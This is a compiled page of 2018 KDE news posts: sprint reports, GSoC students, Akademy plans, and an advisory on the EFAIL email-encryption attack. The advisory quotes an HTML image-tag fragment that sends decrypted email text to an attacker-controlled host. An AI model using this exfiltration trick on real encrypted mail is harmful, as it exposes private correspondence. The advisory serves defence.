Submitted by Anonymous (not verified) on Mon, 2018/05/28 - 12:00am
Between the 23rd and 25th of March, KDE Connect developers gathered in Verse's offices in Barcelona to work together for a weekend. It was the first meeting KDE Connect had in a while, and it was very productive!
It's been some time since the sprint, and the work carried out there has already started to trickle down into our devices. Nevertheless, we wanted to shed some light on our accomplishments, and encourage everyone to participate.
Holding discussions and making decisions is much easier in person. We kicked off the sprint by going through our backlog of ideas to decide what was worth implementing. That helped us set the focus for the sprint and resume some blocked tasks.
One of the most requested features for KDE Connect is the ability to send SMS from the desktop. We already supported SMS to a certain degree with the ability to reply to a message. Some people have even set up Kontact to be able to send texts using KDE Connect from there, but it can be annoying to use without conversation history. During the sprint, Simon and Aleix started working on a fully-featured interface for sending SMS easily from the desktop that includes full conversation views and a full contact list.
Aleix and Nico polished the Run Commands interface to make it more discoverable, so that we can easily configure KDE Connect to do anything we want.
You can now see album art in your phone's lock screen.
Matthijs improved the functionality of multimedia controls - now it's possible to display the album art from your desktop on your Android devices (both on the lock screen and in the new multimedia notification). Meanwhile, Aleix and Nico started paving the way towards better integration with PulseAudio control, sharing some code between KDE Connect and the Plasma volume control.
A less visible but crucial part of what makes KDE Connect so useful is its integration with the system. Albert Vaca worked on a KDE Connect plugin for Nautilus, so people who don't use Plasma and Dolphin can also have a great user experience.
Another very important but often-overlooked task is documentation. Matthijs invested some time in improving the onboarding process for new contributors. Hopefully we'll get more people involved in the future!
Last but not least, we fixed some ugly bugs during this sprint. Albert Astals fixed a long-standing crash in KIO, the KDE Framework used by KDE Connect for transferring files. Simon and Albert Vaca took care of some compatibility problems with Android Oreo, while Matthijs fixed a connectivity issue and even made some progress on Bluetooth support.
All in all, the sprint was a pleasant event, and I'm really happy we all got together. It was nice to meet the developers working on KDE Connect, to connect faces with nicknames, and generally agree on a common path we will follow in future development.
Big thanks to KDE e.V. for sponsoring the travel - without their help, this sprint wouldn't have been possible.
Don't forget: you too can help KDE Connect by donating to KDE!
Story written by Albert Vaca, creator of KDE Connect.
Submitted by Paul Brown on Fri, 2018/05/25 - 12:00am
February was a big month for the Promo team - we held a long-awaited sprint in Barcelona, Spain from the 16th to 18th. The aim of the sprint was to look at information we had collected over the prior years, interpret what it meant, and use it to discuss and plan for the future. The activities we came up with should help us accomplish our ultimate goal: increasing KDE's visibility and user base.
Nine members of the team made it to Barcelona: Aleix Pol, Ivana Isadora Devčić, Jure Repinc, Kenny, Łukasz Sawicki, Lydia Pintscher, Neofytos Kolokotronis, Paul Brown, and Rubén Gómez. We met at Espai 30, an old factory converted into a social center for the neighborhood. Coincidentally, that is one of the places where the Guifi.net project started -- rather fitting for a meeting that comprised Free Software and communication.
Day 1: Informal Afternoon Meeting
Although Friday was "arrival day" without an official agenda, we could not resist talking shop over pizza and beer. Discussions gravitated towards the KDE.org website, which will be migrated from an old and clunky backend to a Wordpress framework. The improvement to the framework got us thinking on how we could improve the content, too.
The consensus was that we want to inform the general public about what KDE is - not a desktop, but the community that creates, maintains, documents, translates, and promotes a large body of multi-purpose software. Our software collection does include a desktop environment, but it also offers utilities, games, productivity applications, media players and editors, an environment and applications for mobile phones, development frameworks, and much more.
We should also make sure the website caters equally to the tech savvy and unsavvy, since KDE's software is meant for everybody. The new site should clearly direct users to our products, allowing end users to simply download and use them. At the same time, the website should ease the way for potential contributors to join the community.
Day 2: Espai 30, Stats stats stats, and Improved Communication
At the break of dawn the next day... well, actually, at 10 o'clock, sprint sessions started in earnest. Ivana gave a recap of Promo's main activities over the last year or so, revisiting funding campaigns we promoted and communication tactics we implemented.
Next we looked at hard, cold data, collected from social media accounts, web statistics, and distro popcons (application popularity contests). The bad news is that visits to our main sites have gone down over the last year. The good news, however, is that followers and interactions on social media have seen a significant increase. Although data collected from popcons are partial, it also looks like Plasma's user base is growing steadily.
Want to help us with data-collecting and processing, or have ideas about where we can collect more useful information? Send your suggestions to our mailing list and we'll look into it.
Paul made the team look at bar charts for the better part of an hour.
The data also helps us pinpoint wins and fails in our approach to communicating with the outside world. We found a direct relation between the traffic to our news site (dot.kde.org) and to the main kde.org website. Therefore it makes sense to seriously work on increasing the traffic to kde.org first, in order to improve the visibility and effectiveness of our announcements and campaigns. We also identified ways to make our social media posts more attractive, which should help them garner more re-tweets, boosts (the equivalent of re-tweets in Mastodon), shares and upvotes, and spread our messages further.
Another way of reaching more people is through events. We discussed Akademy and our plans for promoting the 2018 edition before and during the event, so that news coming out of Vienna in August can reach as many people as possible.
We also talked about visiting other technical and even not-so-technical events. By showcasing our applications and letting users play with them, we think we will be able to increase our user base. In any case, we need to be well-prepared for all types of conferences, so we made a list of essentials based on our previous experiences.
We noticed that even within the FLOSS community, there is a large portion of businesses, organizations and developers who are unaware of technologies that KDE develops. Speaking and setting up booths at technical, but non-KDE/Qt events (like the upcoming Embedded Linux Conference organized by the Linux Foundation), could help solve this problem and even attract contributors for KDE.
Do you have suggestions for events we should attend? Join the Attend External Events task and tell us about them.
One of the things we have started doing, for example, is creating a list of simple tasks for beginners. We are also trying to identify where people struggle in the process of joining Promo, and working on eliminating obstacles. On a more one-to-one basis, we want to be able to identify people's skills so we can direct them to teams they can join. This was one of the topics we tackled during the last day of the sprint.
Day 3: Teams, Market Research, and Publicity Stunts
For example, we'd like to have a smoother communication channel with developers, so that we can better understand their work and advise them on how to promote it. The best way to do this, we thought, would be to recruit developers already in the Promo group as liaisons with their colleagues.
Likewise, experienced YouTubers and videographers can create promotional videos for product releases; journalists and editors can write or help improve blog posts and news articles; and people with a background in marketing can use their knowledge to do some serious market research.
That last thing is important because the Promo team must discover what technologies people use, how they use them, and what they like and dislike about them to be able to market KDE products. We decided to take a step back and work on a market research project that will provide us with solid information on which to base our actions.
At the same time, we can entice people to use Plasma and KDE applications with straightforward advertising, or rely on the more subtle art of product placement. Regarding the former, we looked at publicity stunts that had helped other community projects in the past, like full page ads in prominent newspapers, or messages on public transport. For example, ads at bus stops in university areas may help encourage students join the community.
Got an idea for advertising campaign which is both effective and cheap to carry out? Share it with us!
As for the latter, it turns out that TV shows and movies sometimes have a hard time when they want to show a flashy computer or mobile device interface. Because they can be endlessly customized, Plasma, Plasma Mobile and the applications that run on them are perfect candidates for the likes of The Blacklist, CSI Cyber, Mission Impossible 7... Okay, maybe we will have to start more modest, but remember that KDE tech was already featured on Mr Robot, albeit as the choice of the villain.
Do you know somebody with a solid audience on the fringes of open sourcedom that could influence a large group of people? Go and add them to the list.
We also want to improve our presence in businesses. To do that, we would first have to approach businesses and contractors that already work with KDE/Qt-based technologies. The idea is to get them on board and create a marketplace/support network that other companies can rely on when considering a migration to desktop Linux.
While brainstorming other ways to increase awareness, we realized we could improve videos and help them reach a wider audience by adding subtitles. If you would like to help creating subtitles in your language, sign up for the video group and tell us what you can do.
Conclusion
So much stuff still needs to be done...
This was an intense and intensive sprint. The full list of topics we discussed is longer than this report, but we managed to devote enough time to the most pressing issues. We came up with ideas for targets and ways to work towards them that will translate into real results. We are now progressively implementing tasks that will help us reach those targets, but we need your help.
If you think you can help us achieve our goals, please join the Promo group. We have a mailing list, IRC channel, and a Telegram group. You can also take a look at our workboard and leave your feedback on tasks that are in progress.
Developing KDE's software is super-important, but so is spreading the message that the software exists and that everybody, regardless of their level of computer-literacy, can and should use it. That is what the Promo team is all about, and we will keep practicing what we preach.
Thursday, 17 May 2018. Today KDE unveils a beta release of Plasma 5.13.0.
Members of the Plasma team have been working hard to continue making Plasma a lightweight and responsive desktop which loads and runs quickly, but remains full-featured with a polished look and feel. We have spent the last four months optimising startup and minimising memory usage, yielding faster time-to-desktop, better runtime performance and less memory consumption. Basic features like panel popups were optimised to make sure they run smoothly even on the lowest-end hardware. Our design teams have not rested either, producing beautiful new integrated lock and login screen graphics.
Submitted by valoriez on Fri, 2018/05/18 - 12:00am
KDE Student Programs is happy to present our 2018 Google Summer of Code students to the KDE Community.
Welcome Abhijeet Sharma, Aman Kumar Gupta, Amit Sagtani, Andrey Cygankov, Andrey Kamakin, Anmol Gautam, Caio Jordão de Lima Carvalho, Chinmoy Ranjan Pradhan, Csaba Kertesz, Demetrio Carrara, Dileep Sankhla, Ferencz Kovács, Furkan Tokac, Gun Park, Iván Yossi Santa María González, Kavinda Pitiduwa Gamage, Mahesh S Nair, Tarek Talaat, Thanh Trung Dinh, Yihang Zhou, and Yingjie Liu!
KDE Google Summer of Code mentors at Akademy 2017. Photo by Bhushan Shah.
Students will work on improving KStars for Android.
This year digiKam, KDE's professional photo management application, has three students: Tarek Talaat will be working on supporting Twitter and One Drive services in digiKam export, Thanh Trung Dinh on Web Services tools authentication with OAuth2, and Yingjie Liu on adding the possibility to manually sort the digiKam icon view.
Plasma, KDE's graphical desktop environment, will also be mentoring three students. Abhijeet Sharma will be working on fwupd integration with Discover (KDE's graphical software manager), Furkan Tokac will improve handling for touchpads and mice with Libinput, and Gun Park will port keyboard input modules to Qt Quick and expand scope to cover input method configuration for System Settings.
Another project with three students is Krita, KDE's popular graphic editor and painting application. Andrey Kamakin will improve multithreading in Krita's Tile Manager; Iván Yossi Santa María González (ivanyossi) will optimize Krita Soft, Gaussian and Stamp brushes mask generation to use AVX with Vc Library; and Yihang Zhou (Michael Zhou) is creating a Swatches Docker for Krita.
GCompris, the suite of educational programs and games for young learners, takes two students: Aman Kumar Gupta will port all GTK+ piano activities and get it one step closer to version 1.0, and Amit Sagtani will work on creating bitmap drawing and animation activities while preparing Gcompris for version 1.0.
Labplot, KDE's application for scientific data plotting and analysis, also mentors two students. Andrey Cygankov will add support for import data from web-service in LabPlot, and Ferencz Kovács will be working on plotting of live MQTT data.
Falkon, a new member of the KDE family, will also get some GSoC love.
Okular, KDE's PDF and document viewer, gets another two students: Chinmoy Ranjan Pradhan will be working on verifying signatures of PDF files, while Dileep Sankhla will implement the FreeText annotation with FreeTextTypeWriter behavior.
For Falkon, a community developed web browser and a new member of the KDE family, Anmol Gautam will be working on JavaScript/QML extension support, and Caio Jordão de Lima Carvalho will finish LVM support and implement RAID support in KDE Partition Manager and Calamares (an advanced system installer).
Csaba Kertesz (kecsap) will aim to improve the desktop and the Android version of KStars, KDE's planetarium program, while Kavinda Pitiduwa Gamage will work on KGpg, KDE's graphical key management application, to make it better.
Mahesh S. Nair will expand Peruse Creator, adding more features to KDE's easy-to-use comic book reader. Finally, Demetrio Carrara will be working on the WikitoLearn production-ready Progressive Webapp (PWA).
Traditionally, Google Summer of Code starts with an introduction period where students get to know their mentors, after which they start coding. The coding period for 2018 has began on May 14, and will last until August 6. We wish all our students a productive, successful, and fun summer!
Submitted by Paul Brown on Tue, 2018/05/15 - 6:34am
On Monday, a security vulnerability in the OpenPGP and S/MIME email encryption standards and the email clients using those, called EFAIL was published.
What is this about and how is KMail affected? (Spoiler: KMail users are safe by default.)
Encrypted Email
The discovered vulnerability affects the OpenPGP and S/MIME standards used for end-to-end encryption of emails that specifically encrypts emails for the intended receivers. This is not to be confused with transport encryption (typically TLS) that is used universally when communicating with an email server. Users not using OpenPGP and S/MIME are not affected by this vulnerability.
End-to-end encryption is usually employed to prevent anyone different from the intended receiver from accessing message content, even if they somehow manage to intercept or accidentally receive an email. The EFAIL attack does not attempt
to break that encryption itself. Instead, it applies some clever techniques to trick the intended receiver into decrypting the message, and then sending the clear text content back to the attacker.
KMail relies on GnuPG for the OpenPGP and S/MIME handling, so you might also be interested in the GnuPG team's statement on EFAIL.
Exfiltration Channels
The EFAIL research paper proposes several exfiltration channels for returning the clear text content. The easiest one to understand is by exploiting the HTML capabilities of email clients. If not properly controlled, HTML email messages can download external resources, such as images, while displaying an email - a feature often used in corporate environments.
Considerably simplified, the idea is to add additional encrypted content around an intercepted encrypted message. The whole procedure for doing this is quite elaborate and explained in depth in the paper. Let's assume an attacker manages to prefix an intercepted encrypted email with the (encrypted) string "<img src='http://my.site/?" and append an extra "'/>". The result would look something like this, after decryption by the receiver:
An email client that unconditionally retrieves content from the Internet while displaying HTML emails would now leak the email content as part of an HTTP GET request to an attacker controlled web server - game over.
OpenPGP
The OpenPGP standard has a built-in detection mechanism for manipulations of the encrypted content. This provides effective protection against this attack. KMail, or rather the GnuPG stack KMail uses for email cryptography, does make use of this correctly. Not all email clients tested by the EFAIL authors seem to do this correctly, though. Notwithstanding, your OpenPGP encrypted emails are safe from this attack if you use KMail.
S/MIME
The situation with S/MIME is more difficult, as S/MIME itself does not have any integrity protection for the encrypted content, leaving email clients with no way to detect the EFAIL attack. That's a conceptual weakness of S/MIME that can only really be fixed by moving to an improved standard.
Fortunately, this does not mean that your S/MIME encrypted emails cannot be protected in KMail. By default, KMail does not retrieve external content for HTML emails. It only does that if you either explicitly trigger this for an individual email by clicking the red warning box at the top of emails which informs of external content, or if you enable this unconditionally via Settings > Configure KMail > Security > Reading > Allow messages to load external references from the Internet. Starting with version 18.04.01, the latter setting will be ignored for S/MIME encrypted content as an additional precaution. For older versions, we recommend you make sure this setting is disabled.
Furthermore, distribution maintainers can get patches to solve this problem from here:
In order to revoke compromised signing keys, S/MIME relies on certificate revocation lists (CRLs) or the online certificate status protocol (OCSP). These two mechanisms consult an online server defined by the authority managing the
respective keys. The EFAIL paper suggests that this might be another possible exfiltration channel, as well as HTML. However, this hasn't been demonstrated yet, and the GnuPG team thinks it is unlikely to work. It is also a relevant piece
of the S/MIME security model, so simply disabling this as a precaution has security implications, too.
Therefore, we have not changed the default settings for this in KMail at this point. The reason is because compromised and thus revoked keys seem to be the more common concern than an elaborate targeted attack that would employ CRL or OCSP as an exfiltration channel (if possible at all). You'll find the corresponding settings for the CRL and OCSP usage under Settings > Configure KMail > Security > S/MIME Validation should you want to review or change them.
Conclusion
Research in email client and email cryptography security is very much appreciated and badly needed, considering how prevalent email is in our daily communication. As the results show, S/MIME is showing its age and is in need of conceptual improvements. Also, EFAIL again highlights the dangers to privacy caused by HTML emails with external references. Most importantly, this shows that your emails are well-protected by KMail and GnuPG, and there is certainly no reason to panic and stop using email encryption.
The organization of this year's Akademy is in full swing: the official conference program is out, we have had an insightful interview with one of the keynote speakers, another is coming soon, and attendees are already booking flights and accommodation. The #akademy IRC channel on Freenode and the Telegram group are buzzing with messages, advice and recommendations.
That said, it's not too early to start planning for Akademy 2019!
In fact, we are now opening the Akademy 2019 Call for Hosts, and looking for a vibrant spot and an enthusiastic crew that will host us.
Would you like to bring Akademy, the biggest KDE event, to your country? Read on to find out how to apply!
In 2005, Akademy took place in beautiful Málaga, Spain. Photo by Paolo Trabbatoni.
A Bit About Akademy
The venue of Akademy 2014 in Brno, Czech Republic. Photo by Kevin Funk.
Akademy is KDE's annual get-together where our creativity, productivity and community-bonding reach their peak. Developers, users, translators, students, artists, writers - pretty much anyone who has been involved with KDE - will join Akademy to participate and learn. Contents will range from keynote speeches and two days of dual track talks by the FOSS community, to workshops and Birds of a Feather (BoF) sessions where we plot the future of the project.
The first day serves as a welcoming event. The next two days cover the keynote speakers and other talks. The remaining days are used for BoF sessions, intensive coding and workshops for smaller groups of 10 to 30 people. One of the workshop days is reserved for a day trip, so the attendees can see the local tourist attractions.
What You Get as a Host
Hosting Akademy is a great way to contribute to a movement of global collaboration. You get a chance to host one of the world's largest FOSS communities with contributors from across the globe, and witness a wonderful week of intercultural collaboration in your home town.
You'll get significant exposure to the Free Software community, and develop an understanding of how large projects operate. It is a great opportunity for the local university students, professors, technology enthusiasts and professionals to try their hand at something new.
What We Need from a Host
Ten years ago we gathered in Sint-Katelijne-Waver, Belgium for this cool group photo.
Akademy requires a location close to an international airport, with an appropriate conference venue that is easy to reach. Organizing Akademy is a demanding task, but you’ll be guided along the entire process by people who’ve been doing it for years. Nevertheless, the local team should be prepared to invest a considerable amount of time into organizing Akademy.
Submitted by jriddell on Mon, 2018/05/14 - 12:00am
Last month the developers of Plasma, KDE's featureful, flexible and Free desktop environment, held a sprint in Berlin, Germany. The developers gathered to discuss the forthcoming 5.13 release and future development of Plasma. Of course, they didn't just sit and chat - a lot of coding got done, too.
During the sprint, the Plasma team was joined by guests from Qt and Sway WM. Discussion topics included sharing Wayland protocols, input methods, Plasma Browser Integration, tablet mode for Plasma's shell, porting KControl modules to QtQuick, and last but not least, the best beer in Berlin.
Plasma Team Sprinting
Constructive Discussions with SwayWM - Check!
The effort to port Plasma to work on Wayland rather than X continues at a fast pace. Wayland protocols define how applications interact with the display, including tasks essential to Plasma such as declaring which "window" is really a panel. These protocols have to be defined by the Plasma team and preferably standardized with other users of the Linux desktop.
One newcomer to the field is SwayWM - a Wayland version of the i3 window manager. Drew DeVault, the lead developer of the project, joined our Plasma sprint to discuss where Wayland protocols could be shared. The team looked at their Layer Protocol, which covers much of the work of the current plasmashell protocol. We found that this protocol contains some nice ideas and suggested some improvements for the SwayWM developers.
The Plasma Output Management Protocol was also discussed. This protocol defines how external monitors are used, and Sway currently just reloads configuration files as needed. The team will consider this solution if the need for such a protocol arises. Protocols for Remote Access were compared and reviewed along with Pipewire as systems for managing audio and video. Drew wrote a blog post with more information on this topic.
Plasma Team Sprinting
Exciting Collaboration with Qt - Check!
Shawn Rutledge, the lead developer of Qt's new input stack, also joined us for a few days of the sprint. Together, we reviewed the new API and looked at how some of the unique use-cases of Plasma would work with it. The conclusion was that "some parts, including complex drag-and-drop actions, went surprisingly smoothly".
A bunch of design changes were suggested and improvements submitted. Working with Qt developers at this early stage is a great win for both projects, as it saves KDE developers a lot of time when they come to use the new features, while the Qt world gets a nicer result.
Thanks to Endocode for hosting us in central Berlin.
Improved Plasma Browser Integration - Check!
Plasma Browser Integration is a fun new feature that will be shipped with Plasma 5.13 next month.
It means Firefox and Chrome/Chromium will use Plasma's file transfer widget for downloads and native Plasma notifications for browser notifications. Moreover, media controls will work with the task manager.
The browser extensions were tidied up, translations fixed, and accounts on the relevant browser store websites set up. Another decision made at the sprint was that we have a collective duty to make sure KDE's new web browser Falkon is at feature-parity in terms of Plasma integration.
Plasma running on a Pinebook
Plasma on Pinebook and Tablet Mode - Check!
The team continued to work on convergence with other form factors - in other words, on making Plasma run seamlessly on a variety of devices, both desktop and mobile. Bhushan worked on Plasma Mobile images for devices which supports upstream kernel, which is essential for security and more up-to-date system on mobile devices.
Rohan worked on making Plasma run smoothly and with all Free drivers on the low-end Pinebook laptop. This goes to show that Plasma can function as a lightweight desktop environment without losing the features.
Lastly, Marco managed to get Plasma working on a convertible laptop with support for switching into tablet mode, illustrating how we can actively shift between form factors.
Presenting to FSFE members
Talks, Burritos, and Beer - Check!
Throughout the week, we also gave talks to our host company Endocode who kindly lent us their central Berlin offices, complete with a fridge full of alcohol-free beer.
We also hosted an evening meetup for the local group of Free Software Foundation Europe members and gave some talks over burritos.
Special thanks to long-term KDE contributor Mirko of Endocode, who impressed us with his multi-monitor multi-activity high-definition display Plasma setup.
Having checked off all the items on our to-do list, we concluded another successful Plasma sprint. Look forward to seeing the results of our work in the upcoming Plasma 5.13 release!
Submitted by Paul Brown on Sat, 2018/05/12 - 12:00am
Kdenlive is KDE's advanced video-editor. This April, members of the Kdenlive project met up for five days - from 25th to the 29th - for their spring sprint. The developers Jean-Baptiste Mardelle and Nicolas Carion, along with professional community videomakers Farid Abdelnour, Rémi Duquenne and Massimo Stella, got together at the Carrefour Numérique in Paris to push the project forward.
This is what happened...
The Plot
Despite a very busy agenda, which included pitching Kdenlive to the general public, the attendees managed to work some new features into the code. For example, the next version of Kdenlive that hits your distro will include a feature that will automatically split video and audio tracks by default into separate tracks. This saves time, since the workflows for editing video and audio are substantially different, and editors often have to separate tracks to work on them individually anyway.
The toolbar that overlays monitors got a makeover and now supports multiple layout guides. The toolbar is translucent, so you can still see what is going on in the clip, and only appears when you move the mouse to the upper right corner of the monitor. This not only looks cool (very important!), but also makes it practical, since it is invisible most of the time, not blocking your view of the clip.
Apart from coding in new features, the team held two public sessions. First they talked with potential contributors. This had an immediate effect, as Camille took it on himself to update the project's wiki, and Elie submitted a patch which added the possibility to manage and download keyboard shortcut templates of other video editors such as Avid, Final Cut and Adobe Premiere Pro. This means an editor used to working with closed-source alternatives will immediately feel at home with Kdenlive.
The second public event was with video-editing enthusiasts. The audience had the opportunity to see Kdenlive in action and find out more about the software, as well as talk with the developers.
Coming to a Theatre Near You
Apart from the incremental improvements that have already made their way into the beta versions of Kdenlive's next release, more exciting features are on the way. During the the sprint, the developers agreed on a roadmap of where they want to take Kdenlive next, and made a priority of incorporating Advanced Trimming and Single Track Transitions in the upcoming releases.
Advanced trimming allows you to roll, ripple, slip or slide a clip between two existing ones. This lets you drop a clip onto a track and have the surrounding clips behave in different ways, cropping or displacing frames automatically according to what you want to do. With Single Track Transitions, on the other hand, you can overlap one clip onto another on the same track and apply a transition between the two, instead of having to figure out transitions across several tracks.
More longer term goals include Multicam Editing. This comes in handy when you have filmed the same event from different angles with more than one camera. Kdenlive will help you sync up the action so you can cut from one to the other seamlessly. Another goal is to support faster renders, splitting the workload between the multiple cores most modern computers come with, as well as sending heavy workloads off to the GPU.
This is what a multicam workflow may look like in Kdenlive.
One final thing to look forward to is the integration of Kdenlive with other Free Software video- and audio-editing tools. The developers are looking at Blender, Natron and Ardour, as well as graphics-editing tools like GIMP, Krita and Inkscape. The plan is to incorporate their special and specific features into Kdenlive and make sure all these tools can work seamlessly together. This would mean, for example, that you could create a 3D text effect in Blender and bridge it into Kdenlive without having to go through time-consuming exports and imports. Or you could edit a sequence in Kdenlive and frameserve it to do the compositing in Natron.
End Credits
As with many Free Software projects, the Kdenlive team can always use more contributors. New developers can help get features incorporated sooner and bugs squashed more efficiently. Documenters and translators can help make the guides, manuals and websites more accessible to a larger audience. Join the mailing list, Telegram group, or drop by the #kdenlive channel on Freenode to find out how you, too, can help.
Kdenlive is already a very capable video-editor, but the work the team is carrying out promises to make it a world-class tool that both aficionados and professionals can use. The latest version of Kdenlive is available in many distributions, as well as in AppImage and Flatpak formats. Vincent Pinon is also working on the Windows port which is currently in a Beta stage.
Akademy 2018 organisers have published the program for the conference part of the event. This year the event will be held in Vienna, and talks will take place on the 11th and 12th of August.
The rest of the week will be taken up by BoF sessions, workshops and sprints, in which KDE community members will be working elbow-to-elbow and learning from each other, intent on building a better KDE for everybody.
Registration for Akademy 2018 is now open, and don't forget to book your accommodation soon, as Vienna is a busy location. Besides, if you book by email and use our discount code, you will be able to get rooms close to other Akademy participants and truly enjoy this one-of-a-kind community event.
About Akademy
For most of the year, KDE—one of the largest free and open software communities in the world—works on-line by email, IRC, forums and mailing lists. Akademy provides all KDE contributors the opportunity to meet in person to foster social bonds, work on concrete technology issues, consider new ideas, and reinforce the innovative, dynamic culture of KDE. Akademy brings together artists, designers, developers, translators, users, writers, sponsors and many other types of KDE contributors to celebrate the achievements of the past year and help determine the direction for the next year. Hands-on sessions offer the opportunity for intense work bringing those plans to reality. The KDE Community welcomes companies building on KDE technology, and those that are looking for opportunities. For more information, please contact The Akademy Team.
The sprint will run from the 25th to the 29th of April, and two days will be open to the public. On Friday, 27th of April, from 4pm to 6pm the event will be open to anyone interested in getting involved. You can meet the team and learn how you can contribute to the project. On Saturday, 28th of April at 2.45pm, there will be a public presentation. You can discover Kdenlive as used by professional editors and learn about the new features.
Just in case you can't make it to Paris, but can get to the south of Spain: directly after the sprint, the team will fly to Seville to participate in the Libre Graphics Meeting.
